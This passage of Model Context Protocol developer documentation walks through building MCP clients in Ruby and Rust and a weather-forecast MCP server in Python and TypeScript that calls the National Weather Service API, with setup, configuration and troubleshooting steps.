```
### Query Processing Logic
Now let's add the core functionality for processing queries and handling tool calls:
```ruby theme={null}
private
def process_query(query)
messages = [{ role: "user", content: query }]
available_tools = @mcp_client.tools.map do |tool|
{ name: tool.name, description: tool.description, input_schema: tool.input_schema }
end
# Initial Claude API call.
response = chat(messages, tools: available_tools)
# Process response and handle tool calls.
if response.content.any?(Anthropic::Models::ToolUseBlock)
assistant_content = response.content.filter_map do |content_block|
case content_block
when Anthropic::Models::TextBlock
{ type: "text", text: content_block.text }
when Anthropic::Models::ToolUseBlock
{ type: "tool_use", id: content_block.id, name: content_block.name, input: content_block.input }
end
end
messages << { role: "assistant", content: assistant_content }
end
response.content.each_with_object([]) do |content, response_parts|
case content
when Anthropic::Models::TextBlock
response_parts << content.text
when Anthropic::Models::ToolUseBlock
# Execute tool call via MCP.
result = @mcp_client.call_tool(name: content.name, arguments: content.input)
response_parts << "[Calling tool #{content.name} with args #{content.input.to_json}]"
tool_result_content = result.dig("result", "content")
result_text = if tool_result_content.is_a?(Array)
tool_result_content.filter_map { |content_item| content_item["text"] }.join("\n")
else
tool_result_content.to_s
end
messages << {
role: "user",
content: [{
type: "tool_result",
tool_use_id: content.id,
content: result_text
}]
}
# Get next response from Claude.
response = chat(messages)
response.content.each do |content_block|
response_parts << content_block.text if content_block.is_a?(Anthropic::Models::TextBlock)
end
end
end.join("\n")
end
def chat(messages, tools: nil)
params = { model: ANTHROPIC_MODEL, max_tokens: 1000, messages: messages }
params[:tools] = tools if tools
anthropic_client.messages.create(**params)
end
def anthropic_client
@anthropic_client ||= Anthropic::Client.new(api_key: ENV["ANTHROPIC_API_KEY"])
end
```
### Interactive Chat Interface
Now we'll add the chat loop and cleanup functionality:
```ruby theme={null}
def chat_loop
puts <<~MESSAGE
MCP Client Started!
Type your queries or 'quit' to exit.
MESSAGE
loop do
print "\nQuery: "
line = $stdin.gets
break if line.nil?
query = line.chomp.strip
break if query.downcase == "quit"
next if query.empty?
begin
response = process_query(query)
puts "\n#{response}"
rescue => e
puts "\nError: #{e.message}"
end
end
end
def cleanup
@transport&.close
end
```
### Main Entry Point
Finally, we'll add the main execution logic:
```ruby theme={null}
if ARGV.empty?
puts "Usage: ruby client.rb "
exit 1
end
client = MCPClient.new
begin
client.connect_to_server(ARGV[0])
api_key = ENV["ANTHROPIC_API_KEY"]
if api_key.nil? || api_key.empty?
puts <<~MESSAGE
No ANTHROPIC_API_KEY found. To query these tools with Claude, set your API key:
export ANTHROPIC_API_KEY=your-api-key-here
MESSAGE
exit
end
client.chat_loop
rescue => e
puts "Error: #{e.message}"
exit 1
ensure
client.cleanup
end
```
You can find the complete `client.rb` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-ruby/client.rb).
## Key Components Explained
### 1. Client Initialization
* The `MCPClient` class initializes with nil references for lazy setup
* The Anthropic client is lazily initialized via the `anthropic_client` method
* Uses `dotenv` to load environment variables from `.env`
### 2. Server Connection
* Supports Ruby, Python, and Node.js servers
* Uses `File.extname` to determine the server script type
* Uses `MCP::Client::Stdio` for stdio transport
* Initializes the MCP client and lists available tools
### 3. Query Processing
* Maps MCP tools to Anthropic tool format (`name`, `description`, `input_schema`)
* Uses `Anthropic::Models::TextBlock` and `Anthropic::Models::ToolUseBlock` for pattern matching
* Builds assistant content once before iterating tool calls
* Executes tool calls via `@mcp_client.call_tool`
* Uses `chat` helper method to wrap Anthropic API calls
* Extracts tool result content with `result.dig("result", "content")`
* Passes tool results back to Claude for a final response
### 4. Interactive Interface
* Provides a simple command-line interface
* Handles user input and displays responses
* Skips empty queries
* Includes basic error handling
### 5. Resource Management
* Proper cleanup of the transport via `begin`...`ensure`
* Top-level `rescue` for error handling
* API key validation after server connection
## Running the Client
To run your client with any MCP server:
```bash theme={null}
bundle exec ruby client.rb path/to/server.rb # ruby server
bundle exec ruby client.rb path/to/server.py # python server
bundle exec ruby client.rb path/to/build/index.js # node server
```
If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby), your command might look something like this: `bundle exec ruby client.rb /path/to/weather-server-ruby/weather.rb`
The client will:
1. Connect to the specified server
2. List available tools
3. Start an interactive chat session where you can:
* Enter queries
* See tool executions
* Get responses from Claude
## How It Works
When you submit a query:
1. The client gets the list of available tools from the server
2. Your query is sent to Claude along with tool descriptions
3. Claude decides which tools (if any) to use
4. The client executes any requested tool calls through the server
5. Results are sent back to Claude
6. Claude provides a natural language response
7. The response is displayed to you
## Best practices
1. **Error Handling**
* Wrap tool calls in `begin`...`rescue` blocks
* Provide meaningful error messages
* Gracefully handle connection issues
2. **Resource Management**
* Always close the transport when done
* Use `begin`...`ensure` for proper cleanup
* Handle server disconnections
3. **Security**
* Store API keys securely in `.env`
* Validate server responses
* Be cautious with tool permissions
4. **Tool Names**
* Tool names can be validated according to the format specified [here](/specification/2026-07-28/server/tools#tool-names)
* If a tool name conforms to the specified format, it should not fail validation by an MCP client
## Troubleshooting
### Server Path Issues
* Double-check the path to your server script is correct
* Use the absolute path if the relative path isn't working
* For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
* Verify the server file has the correct extension (.py for Python, .js for Node.js, or .rb for Ruby)
Example of correct path usage:
```bash theme={null}
# Relative path
bundle exec ruby client.rb ./server/weather.rb
# Absolute path
bundle exec ruby client.rb /Users/username/projects/mcp-server/weather.rb
# Windows path (either format works)
bundle exec ruby client.rb C:/projects/mcp-server/weather.rb
bundle exec ruby client.rb C:\\projects\\mcp-server\\weather.rb
```
### Response Timing
* The first response might take up to 30 seconds to return
* This is normal and happens while:
* The server initializes
* Claude processes the query
* Tools are being executed
* Subsequent responses are typically faster
* Don't interrupt the process during this initial waiting period
### Common Error Messages
If you see:
* `Errno::ENOENT`: Check your server path and ensure the command (`ruby`, `python3`, `node`) is available
* `Connection refused`: Ensure the server is running and the path is correct
* `Tool execution failed`: Verify the tool's required environment variables are set
* `Anthropic::Errors::AuthenticationError`: Check your `.env` file has a valid `ANTHROPIC_API_KEY`
[You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-rust)
## System Requirements
Before starting, ensure your Linux system meets these requirements:
* Latest stable version of [Rust and Cargo](https://www.rust-lang.org/tools/install)
* Anthropic API key (Claude)
* A Python, Node.js, or executable MCP server to connect to
## Setting Up Your Environment
First, create a new Rust project:
```bash theme={null}
cargo new mcp-client-rust
cd mcp-client-rust
```
Replace the contents of `Cargo.toml` with the following:
```toml Cargo.toml theme={null}
[package]
name = "mcp-client-rust"
version = "0.1.0"
edition = "2024"
[dependencies]
anyhow = "1.0.100"
genai = "0.4.2"
rmcp = { version = "0.8.0", features = ["server", "client", "transport-io", "transport-child-process"] }
tokio = { version = "1.47.1", features = ["full"] }
tracing = "0.1.41"
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
serde_json = "1.0.128"
dotenvy = "0.15.7"
reqwest = "0.12.23"
```
The [`rmcp`](https://github.com/modelcontextprotocol/rust-sdk) crate provides the Rust MCP SDK and child-process transport. This example uses the [`genai`](https://github.com/jeremychone/rust-genai) crate to send requests to Claude and represent tools in the model request.
## Setting Up Your API Key
You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
Create a `.env` file to store it:
```bash theme={null}
echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
```
Add `.env` to your `.gitignore`:
```bash theme={null}
echo ".env" >> .gitignore
```
Make sure you keep your `ANTHROPIC_API_KEY` secure!
## Creating the Client
Open `src/main.rs` and replace its contents as you work through the following sections.
### Imports and Client Structure
First, add the imports, model constant, and basic client structure:
```rust theme={null}
use anyhow::{Context, Result, bail};
use genai::Client;
use genai::chat::{
ChatMessage, ChatRequest, ChatResponse, ContentPart, Tool as GenaiTool, ToolResponse,
};
use rmcp::model::{CallToolRequestParam, Tool as McpTool};
use rmcp::service::{RoleClient, RunningService, ServiceExt};
use rmcp::transport::TokioChildProcess;
use serde_json::Value;
use tokio::io::{self, AsyncBufReadExt, BufReader};
use tokio::process::Command;
const MODEL_ANTHROPIC: &str = "claude-opus-5";
struct MCPClient {
anthropic: Client,
session: Option>,
tools: Vec,
}
```
The client keeps the model API client, the active MCP session, and the tools advertised by the connected server.
### Client Initialization
Next, initialize the model client and start without an MCP session or tools:
```rust theme={null}
impl MCPClient {
fn new() -> Result {
Ok(MCPClient {
anthropic: Client::default(),
session: None,
tools: Vec::new(),
})
}
// Additional methods will go here.
}
```
`genai::Client::default()` reads the `ANTHROPIC_API_KEY` environment variable when it sends a request.
### Server Connection Management
Add this method inside the `impl MCPClient` block:
```rust theme={null}
async fn connect_to_server(&mut self, server_args: &[String]) -> Result<()> {
if self.session.is_some() {
bail!("Client is already connected to a server");
}
let mut command = Command::new(&server_args[0]);
command.args(&server_args[1..]);
let process = TokioChildProcess::new(command)
.with_context(|| format!("Failed to spawn server process for {:?}", server_args))?;
let session = ().serve(process).await?;
let rmcp_tools = session
.list_all_tools()
.await
.context("Unable to list tools from server")?;
let tool_names: Vec = rmcp_tools
.iter()
.map(|tool| tool.name.to_string())
.collect();
println!("Connected to server with tools: {tool_names:?}");
self.tools = convert_tools(&rmcp_tools);
self.session = Some(session);
Ok(())
}
```
This method:
1. Starts the server as a child process using the command and arguments supplied on the command line
2. Establishes an MCP session over stdio
3. Lists all tools advertised by the server
4. Converts those tools into the format used in model requests
### Converting MCP Tools
Add this function outside the `impl MCPClient` block:
```rust theme={null}
fn convert_tools(tools: &[McpTool]) -> Vec {
tools
.iter()
.map(|tool| GenaiTool {
name: tool.name.to_string(),
description: tool.description.as_deref().map(str::to_string),
schema: Some(Value::Object(tool.input_schema.as_ref().clone())),
config: None,
})
.collect()
}
```
MCP and model APIs describe tools with similar information but different Rust types. `convert_tools` maps each MCP tool's name, description, and input schema into a `genai` tool definition.
### Sending Model Requests
Add this helper method inside `impl MCPClient`:
```rust theme={null}
async fn request_model(&self, chat_req: &ChatRequest) -> Result {
let response = self
.anthropic
.exec_chat(MODEL_ANTHROPIC, chat_req.clone(), None)
.await
.context("Anthropic chat request failed")?;
Ok(response)
}
```
This keeps model request handling in one place and adds useful context if the API request fails.
### Query Processing Logic
Now add the core query-processing method inside `impl MCPClient`:
```rust theme={null}
async fn process_query(&mut self, query: &str) -> Result {
let session = self
.session
.as_ref()
.context("Client is not connected to any server")?;
let mut messages = vec![ChatMessage::user(query)];
let mut final_text = Vec::new();
// Initial Claude API call with tools
let mut chat_req = ChatRequest::new(messages.clone()).with_tools(self.tools.clone());
let mut chat_rsp = self.request_model(&chat_req).await?;
// Process response content - collect text and handle tool calls
for text in chat_rsp.texts() {
final_text.push(text.to_string());
}
let tool_calls = chat_rsp.tool_calls();
if !tool_calls.is_empty() {
// Append assistant's response to message history
messages.push(ChatMessage::assistant(chat_rsp.content.clone()));
// Execute each tool call and collect responses
let mut tool_results = Vec::new();
for tool_call in tool_calls {
// Add information about the tool call to final text
let tool_args_str = serde_json::to_string(&tool_call.fn_arguments)
.unwrap_or_else(|_| "{}".to_string());
final_text.push(format!(
"[Calling tool {} with args {}]",
tool_call.fn_name, tool_args_str
));
// Query the MCP server
let tool_result = session
.call_tool(CallToolRequestParam {
name: tool_call.fn_name.clone().into(),
arguments: tool_call.fn_arguments.as_object().cloned(),
})
.await
.with_context(|| format!("Tool call {} failed", tool_call.fn_name))?;
let payload = serde_json::to_string(&tool_result)
.context("Failed to serialize tool result")?;
tool_results.push(ContentPart::ToolResponse(ToolResponse::new(
tool_call.call_id.clone(),
payload,
)));
}
// Append tool responses to message history
messages.push(ChatMessage::user(tool_results));
// Build the next request and query model
chat_req = ChatRequest::new(messages.clone());
chat_rsp = self.request_model(&chat_req).await?;
// Collect text from response
for text in chat_rsp.texts() {
final_text.push(text.to_string());
}
}
Ok(final_text.join("\n"))
}
```
The method first sends the user's query and available tools to Claude. When Claude requests tools, the client executes each request through the MCP session, sends the results back to Claude, and collects the final text response.
### Interactive Chat Interface
Add the interactive terminal loop inside `impl MCPClient`:
```rust theme={null}
async fn chat_loop(&mut self) -> Result<()> {
println!("\nMCP Client Started!");
println!("Type your queries or 'quit' to exit.");
let mut stdin = BufReader::new(io::stdin());
let mut input = String::new();
loop {
print!("\nQuery: ");
std::io::Write::flush(&mut std::io::stdout())?;
input.clear();
if stdin.read_line(&mut input).await? == 0 {
break; // EOF
}
let query = input.trim();
if query.eq_ignore_ascii_case("quit") {
break;
}
if query.is_empty() {
continue;
}
match self.process_query(query).await {
Ok(response) => println!("\n{}", response),
Err(err) => println!("\nError: {}", err),
}
}
Ok(())
}
```
The loop accepts queries until the user types `quit` or closes standard input. Query errors are printed without terminating the client.
### Cleanup
Add this method inside `impl MCPClient` to stop the MCP session and child process:
```rust theme={null}
async fn cleanup(&mut self) -> Result<()> {
if let Some(session) = self.session.take() {
let _ = session.cancel().await;
}
Ok(())
}
```
### Main Entry Point
Finally, add the asynchronous entry point outside the `impl MCPClient` block:
```rust theme={null}
#[tokio::main]
async fn main() -> Result<()> {
dotenvy::dotenv().context("Failed to load env file")?;
let mut args = std::env::args();
let _ = args.next();
let server_args: Vec = args.collect();
if server_args.is_empty() {
eprintln!("Usage: cargo run -- [args...]");
std::process::exit(1);
}
let mut client = MCPClient::new()?;
let result = async {
client.connect_to_server(&server_args).await?;
client.chat_loop().await
}
.await;
let cleanup_result = client.cleanup().await;
result?;
cleanup_result?;
Ok(())
}
```
The entry point loads `.env`, treats all remaining command-line arguments as the server command, connects the client, starts the chat loop, and ensures cleanup runs before exiting.
### Verify the Complete File
Before running the client, confirm the items in `src/main.rs` are placed at the correct scope:
* `new`, `connect_to_server`, `process_query`, `request_model`, `chat_loop`, and `cleanup` are methods inside the single `impl MCPClient` block.
* `main` and `convert_tools` are functions outside the `impl MCPClient` block.
Rust does not require these items to appear in a particular order, but methods and free functions must be placed in the correct scope. Compare your file with the [complete `src/main.rs` example](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-rust/src/main.rs), then check that it compiles:
```bash theme={null}
cargo fmt --check
cargo check
```
## Running the Client
Use `cargo run --` followed by the command you would normally use to start the MCP server:
```bash theme={null}
# Python server
cargo run -- python path/to/server.py
# Node.js server
cargo run -- node path/to/build/index.js
# Executable server
cargo run -- path/to/server-binary
```
Running bare `cargo run` without a server command prints the usage message and exits.
If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust), build the server first and then run a command similar to: `cargo run -- ../weather-server-rust/target/debug/weather`
The client will:
1. Start and connect to the specified MCP server
2. List the tools available from that server
3. Start an interactive chat session where you can:
* Enter queries
* See tool executions
* Get responses from Claude
## How It Works
When you submit a query:
1. The client sends your query and the server's available tools to Claude
2. Claude decides which tools, if any, to use
3. The client executes requested tools through the MCP session
4. Tool results are sent back to Claude
5. Claude provides a natural language response
6. The response is displayed in the terminal
## Best Practices
1. **Error Handling**
* Add context to errors at process, MCP, model API, and serialization boundaries
* Report individual query errors without terminating the interactive session
* Validate server commands before running them
2. **Resource Management**
* Always cancel the MCP session during cleanup
* Ensure cleanup runs even when connection or chat-loop operations fail
* Avoid starting a second server while a session is active
3. **Security**
* Store API keys securely in `.env`
* Review the tools exposed by a server before allowing model-driven calls
* Connect only to servers and executable commands you trust
## Troubleshooting
### Server Command Issues
The arguments after `cargo run --` must form a complete command. Interpreted server scripts need their runtime:
```bash theme={null}
# Correct
cargo run -- python ./server/weather.py
cargo run -- node ./server/build/index.js
# Incorrect: a Python script is not necessarily executable by itself
cargo run -- ./server/weather.py
```
If a command cannot be found, use its absolute path or verify it is available in your `PATH`.
### Environment File Issues
If you see `Failed to load env file`, ensure `.env` exists in the directory where you run the client.
If the model request reports a missing API key, confirm that `.env` contains:
```text theme={null}
ANTHROPIC_API_KEY=your-api-key-goes-here
```
### Tool and Response Errors
* `Unable to list tools from server`: Verify the server starts successfully and communicates over stdio
* `Tool call ... failed`: Verify the server tool's required arguments and environment variables
* `Failed to serialize tool result`: Inspect the server's response for unsupported or malformed content
## Next steps
Check out our gallery of official MCP servers and implementations
# Build an MCP server
Source: https://modelcontextprotocol.io/docs/2026-07-28/develop/build-server
Get started building your own server to use in Claude for Desktop and other clients.
In this tutorial, we'll build a simple MCP weather server and connect it to a host, Claude for Desktop.
### What we'll be building
We'll build a server that exposes two tools: `get_alerts` and `get_forecast`. Then we'll connect the server to an MCP host (in this case, Claude for Desktop):
Servers can connect to any client. We've chosen Claude for Desktop here for simplicity, but we also have a guide on [building your own client](/docs/2026-07-28/develop/build-client).
### Core MCP Concepts
MCP servers can provide three main types of capabilities:
1. **[Resources](/docs/2026-07-28/learn/server-concepts#resources)**: File-like data that can be read by clients (like API responses or file contents)
2. **[Tools](/docs/2026-07-28/learn/server-concepts#tools)**: Functions that can be called by the LLM (with user approval)
3. **[Prompts](/docs/2026-07-28/learn/server-concepts#prompts)**: Pre-written templates that help users accomplish specific tasks
This tutorial will primarily focus on tools.
Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python)
### Prerequisite knowledge
This quickstart assumes you have familiarity with:
* Python
* LLMs like Claude
### Logging in MCP Servers
When implementing MCP servers, be careful about how you handle logging:
**For STDIO-based servers:** Never write to stdout. Writing to stdout will corrupt the JSON-RPC messages and break your server. The `print()` function writes to stdout by default, so keep it out of a STDIO server entirely.
**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
### Best Practices
* Use the standard library `logging` module, which writes to stderr.
* Create one logger per module with `logging.getLogger(__name__)` and call it from your tools.
### Quick Examples
```python theme={null}
import logging
logger = logging.getLogger(__name__)
# ❌ Bad (STDIO)
print("Processing request")
# ✅ Good (STDIO)
logger.info("Processing request") # writes to stderr
```
### System requirements
* Python 3.10 or higher installed.
* You must use the Python MCP SDK 2.0.0 or higher.
### Set up your environment
First, let's install `uv` and set up our Python project and environment:
```bash macOS/Linux theme={null}
curl -LsSf https://astral.sh/uv/install.sh | sh
```
```powershell Windows theme={null}
powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"
```
Make sure to restart your terminal afterwards to ensure that the `uv` command gets picked up.
Now, let's create and set up our project:
```bash macOS/Linux theme={null}
# Create a new directory for our project
uv init weather
cd weather
# Create virtual environment and activate it
uv venv
source .venv/bin/activate
# Install dependencies
uv add "mcp[cli]"
# Create our server file
touch weather.py
```
```powershell Windows theme={null}
# Create a new directory for our project
uv init weather
cd weather
# Create virtual environment and activate it
uv venv
.venv\Scripts\activate
# Install dependencies
uv add mcp[cli]
# Create our server file
new-item weather.py
```
Now let's dive into building your server.
## Building your server
### Importing packages and setting up the instance
Add these to the top of your `weather.py`:
```python theme={null}
from typing import Any
import httpx2
from mcp.server import MCPServer
# Initialize MCPServer
mcp = MCPServer("weather")
# Constants
NWS_API_BASE = "https://api.weather.gov"
USER_AGENT = "weather-app/1.0"
```
`httpx2` is the HTTP client the SDK itself depends on, so installing `mcp` already brought it in.
The MCPServer class uses Python type hints and docstrings to automatically generate tool definitions, making it easy to create and maintain MCP tools.
### Helper functions
Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
```python theme={null}
async def make_nws_request(url: str) -> dict[str, Any] | None:
"""Make a request to the NWS API with proper error handling."""
headers = {"User-Agent": USER_AGENT, "Accept": "application/geo+json"}
async with httpx2.AsyncClient() as client:
try:
response = await client.get(url, headers=headers, timeout=30.0)
response.raise_for_status()
return response.json()
except Exception:
return None
def format_alert(feature: dict) -> str:
"""Format an alert feature into a readable string."""
props = feature["properties"]
return f"""
Event: {props.get("event", "Unknown")}
Area: {props.get("areaDesc", "Unknown")}
Severity: {props.get("severity", "Unknown")}
Description: {props.get("description", "No description available")}
Instructions: {props.get("instruction", "No specific instructions provided")}
"""
```
### Implementing tool execution
The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
```python theme={null}
@mcp.tool()
async def get_alerts(state: str) -> str:
"""Get weather alerts for a US state.
Args:
state: Two-letter US state code (e.g. CA, NY)
"""
url = f"{NWS_API_BASE}/alerts/active/area/{state}"
data = await make_nws_request(url)
if not data or "features" not in data:
return "Unable to fetch alerts or no alerts found."
if not data["features"]:
return "No active alerts for this state."
alerts = [format_alert(feature) for feature in data["features"]]
return "\n---\n".join(alerts)
@mcp.tool()
async def get_forecast(latitude: float, longitude: float) -> str:
"""Get weather forecast for a location.
Args:
latitude: Latitude of the location
longitude: Longitude of the location
"""
# First get the forecast grid endpoint
points_url = f"{NWS_API_BASE}/points/{latitude},{longitude}"
points_data = await make_nws_request(points_url)
if not points_data:
return "Unable to fetch forecast data for this location."
# Get the forecast URL from the points response
forecast_url = points_data["properties"]["forecast"]
forecast_data = await make_nws_request(forecast_url)
if not forecast_data:
return "Unable to fetch detailed forecast."
# Format the periods into a readable forecast
periods = forecast_data["properties"]["periods"]
forecasts = []
for period in periods[:5]: # Only show next 5 periods
forecast = f"""
{period["name"]}:
Temperature: {period["temperature"]}°{period["temperatureUnit"]}
Wind: {period["windSpeed"]} {period["windDirection"]}
Forecast: {period["detailedForecast"]}
"""
forecasts.append(forecast)
return "\n---\n".join(forecasts)
```
### Running the server
Finally, let's initialize and run the server:
```python theme={null}
if __name__ == "__main__":
mcp.run(transport="stdio")
```
Your server is complete! Run `uv run weather.py` to start the MCP server, which will listen for messages from MCP hosts.
Let's now test your server from an existing MCP host, Claude for Desktop.
## Testing your server with Claude for Desktop
Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2026-07-28/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
First, make sure you have Claude for Desktop installed. [You can install the latest version
here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
For example, if you have [VS Code](https://code.visualstudio.com/) installed:
```bash macOS/Linux theme={null}
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```
```powershell Windows theme={null}
code $env:AppData\Claude\claude_desktop_config.json
```
You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
In this case, we'll add our single weather server like so:
```json macOS/Linux theme={null}
{
"mcpServers": {
"weather": {
"command": "uv",
"args": [
"--directory",
"/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather",
"run",
"weather.py"
]
}
}
}
```
```json Windows theme={null}
{
"mcpServers": {
"weather": {
"command": "uv",
"args": [
"--directory",
"C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather",
"run",
"weather.py"
]
}
}
}
```
You may need to put the full path to the `uv` executable in the `command` field. You can get this by running `which uv` on macOS/Linux or `where uv` on Windows.
Make sure you pass in the absolute path to your server. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
This tells Claude for Desktop:
1. There's an MCP server named "weather"
2. To launch it by running `uv --directory /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather run weather.py`
Save the file, and restart **Claude for Desktop**.
Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript)
### Prerequisite knowledge
This quickstart assumes you have familiarity with:
* TypeScript
* LLMs like Claude
### Logging in MCP Servers
When implementing MCP servers, be careful about how you handle logging:
**For STDIO-based servers:** Never use `console.log()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
### Best Practices
* Use `console.error()` which writes to stderr, or use a logging library that writes to stderr or files.
### Quick Examples
```javascript theme={null}
// ❌ Bad (STDIO)
console.log("Server started");
// ✅ Good (STDIO)
console.error("Server started"); // stderr is safe
```
### System requirements
For TypeScript, make sure you have the latest version of Node installed.
### Set up your environment
First, let's install Node.js and npm if you haven't already. You can download them from [nodejs.org](https://nodejs.org/).
Verify your Node.js installation:
```bash theme={null}
node --version
npm --version
```
For this tutorial, you'll need Node.js version 20 or higher.
Now, let's create and set up our project:
```bash macOS/Linux theme={null}
# Create a new directory for our project
mkdir weather
cd weather
# Initialize a new npm project
npm init -y
# Install dependencies
npm install @modelcontextprotocol/server zod
npm install -D @types/node typescript
# Create our files
mkdir src
touch src/index.ts
```
```powershell Windows theme={null}
# Create a new directory for our project
md weather
cd weather
# Initialize a new npm project
npm init -y
# Install dependencies
npm install @modelcontextprotocol/server zod
npm install -D @types/node typescript
# Create our files
md src
new-item src\index.ts
```
Update your package.json to add type: "module" and a build script:
```json package.json theme={null}
{
"type": "module",
"bin": {
"weather": "./build/index.js"
},
"scripts": {
"build": "tsc && chmod 755 build/index.js"
},
"files": ["build"]
}
```
Create a `tsconfig.json` in the root of your project:
```json tsconfig.json theme={null}
{
"compilerOptions": {
"target": "ES2022",
"module": "Node16",
"moduleResolution": "Node16",
"types": ["node"],
"outDir": "./build",
"rootDir": "./src",
"strict": true,
"esModuleInterop": true,
"skipLibCheck": true,
"forceConsistentCasingInFileNames": true
},
"include": ["src/**/*"],
"exclude": ["node_modules"]
}
```
Now let's dive into building your server.
## Building your server
### Importing packages and setting up the instance
Add these to the top of your `src/index.ts`:
```typescript theme={null}
import { McpServer } from "@modelcontextprotocol/server";
import { StdioServerTransport } from "@modelcontextprotocol/server/stdio";
import { z } from "zod";
const NWS_API_BASE = "https://api.weather.gov";
const USER_AGENT = "weather-app/1.0";
// Create server instance
const server = new McpServer({
name: "weather",
version: "1.0.0",
});
```
### Helper functions
Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
```typescript theme={null}
// Helper function for making NWS API requests
async function makeNWSRequest(url: string): Promise {
const headers = {
"User-Agent": USER_AGENT,
Accept: "application/geo+json",
};
try {
const response = await fetch(url, { headers });
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return (await response.json()) as T;
} catch (error) {
console.error("Error making NWS request:", error);
return null;
}
}
interface AlertFeature {
properties: {
event?: string;
areaDesc?: string;
severity?: string;
status?: string;
headline?: string;
};
}
// Format alert data
function formatAlert(feature: AlertFeature): string {
const props = feature.properties;
return [
`Event: ${props.event || "Unknown"}`,
`Area: ${props.areaDesc || "Unknown"}`,
`Severity: ${props.severity || "Unknown"}`,
`Status: ${props.status || "Unknown"}`,
`Headline: ${props.headline || "No headline"}`,
"---",
].join("\n");
}
interface ForecastPeriod {
name?: string;
temperature?: number;
temperatureUnit?: string;
windSpeed?: string;
windDirection?: string;
shortForecast?: string;
}
interface AlertsResponse {
features: AlertFeature[];
}
interface PointsResponse {
properties: {
forecast?: string;
};
}
interface ForecastResponse {
properties: {
periods: ForecastPeriod[];
};
}
```
### Implementing tool execution
The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
```typescript theme={null}
// Register weather tools
server.registerTool(
"get_alerts",
{
description: "Get weather alerts for a state",
inputSchema: z.object({
state: z
.string()
.length(2)
.describe("Two-letter state code (e.g. CA, NY)"),
}),
},
async ({ state }) => {
const stateCode = state.toUpperCase();
const alertsUrl = `${NWS_API_BASE}/alerts?area=${stateCode}`;
const alertsData = await makeNWSRequest(alertsUrl);
if (!alertsData) {
return {
content: [
{
type: "text",
text: "Failed to retrieve alerts data",
},
],
};
}
const features = alertsData.features || [];
if (!features.length) {
return {
content: [
{
type: "text",
text: `No active alerts for ${stateCode}`,
},
],
};
}
const formattedAlerts = features.map(formatAlert);
const alertsText = `Active alerts for ${stateCode}:\n\n${formattedAlerts.join("\n")}`;
return {
content: [
{
type: "text",
text: alertsText,
},
],
};
},
);
server.registerTool(
"get_forecast",
{
description: "Get weather forecast for a location",
inputSchema: z.object({
latitude: z
.number()
.min(-90)
.max(90)
.describe("Latitude of the location"),
longitude: z
.number()
.min(-180)
.max(180)
.describe("Longitude of the location"),
}),
},
async ({ latitude, longitude }) => {
// Get grid point data
const pointsUrl = `${NWS_API_BASE}/points/${latitude.toFixed(4)},${longitude.toFixed(4)}`;
const pointsData = await makeNWSRequest(pointsUrl);
if (!pointsData) {
return {
content: [
{
type: "text",
text: `Failed to retrieve grid point data for coordinates: ${latitude}, ${longitude}. This location may not be supported by the NWS API (only US locations are supported).`,
},
],
};
}
const forecastUrl = pointsData.properties?.forecast;
if (!forecastUrl) {
return {
content: [
{
type: "text",
text: "Failed to get forecast URL from grid point data",
},
],
};
}
// Get forecast data
const forecastData = await makeNWSRequest(forecastUrl);
if (!forecastData) {
return {
content: [
{
type: "text",
text: "Failed to retrieve forecast data",
},
],
};
}
const periods = forecastData.properties?.periods || [];
if (periods.length === 0) {
return {
content: [
{
type: "text",
text: "No forecast periods available",
},
],
};
}
// Format forecast periods
const formattedForecast = periods.map((period: ForecastPeriod) =>
[
`${period.name || "Unknown"}:`,
`Temperature: ${period.temperature || "Unknown"}°${period.temperatureUnit || "F"}`,
`Wind: ${period.windSpeed || "Unknown"} ${period.windDirection || ""}`,
`${period.shortForecast || "No forecast available"}`,
"---",
].join("\n"),
);
const forecastText = `Forecast for ${latitude}, ${longitude}:\n\n${formattedForecast.join("\n")}`;
return {
content: [
{
type: "text",
text: forecastText,
},
],
};
},
);
```
### Running the server
Finally, implement the main function to run the server:
```typescript theme={null}
async function main() {
const transport = new StdioServerTransport();
await server.connect(transport);
console.error("Weather MCP Server running on stdio");
}
main().catch((error) => {
console.error("Fatal error in main():", error);
process.exit(1);
});
```
Make sure to run `npm run build` to build your server! This is a very important step in getting your server to connect.
Let's now test your server from an existing MCP host, Claude for Desktop.
## Testing your server with Claude for Desktop
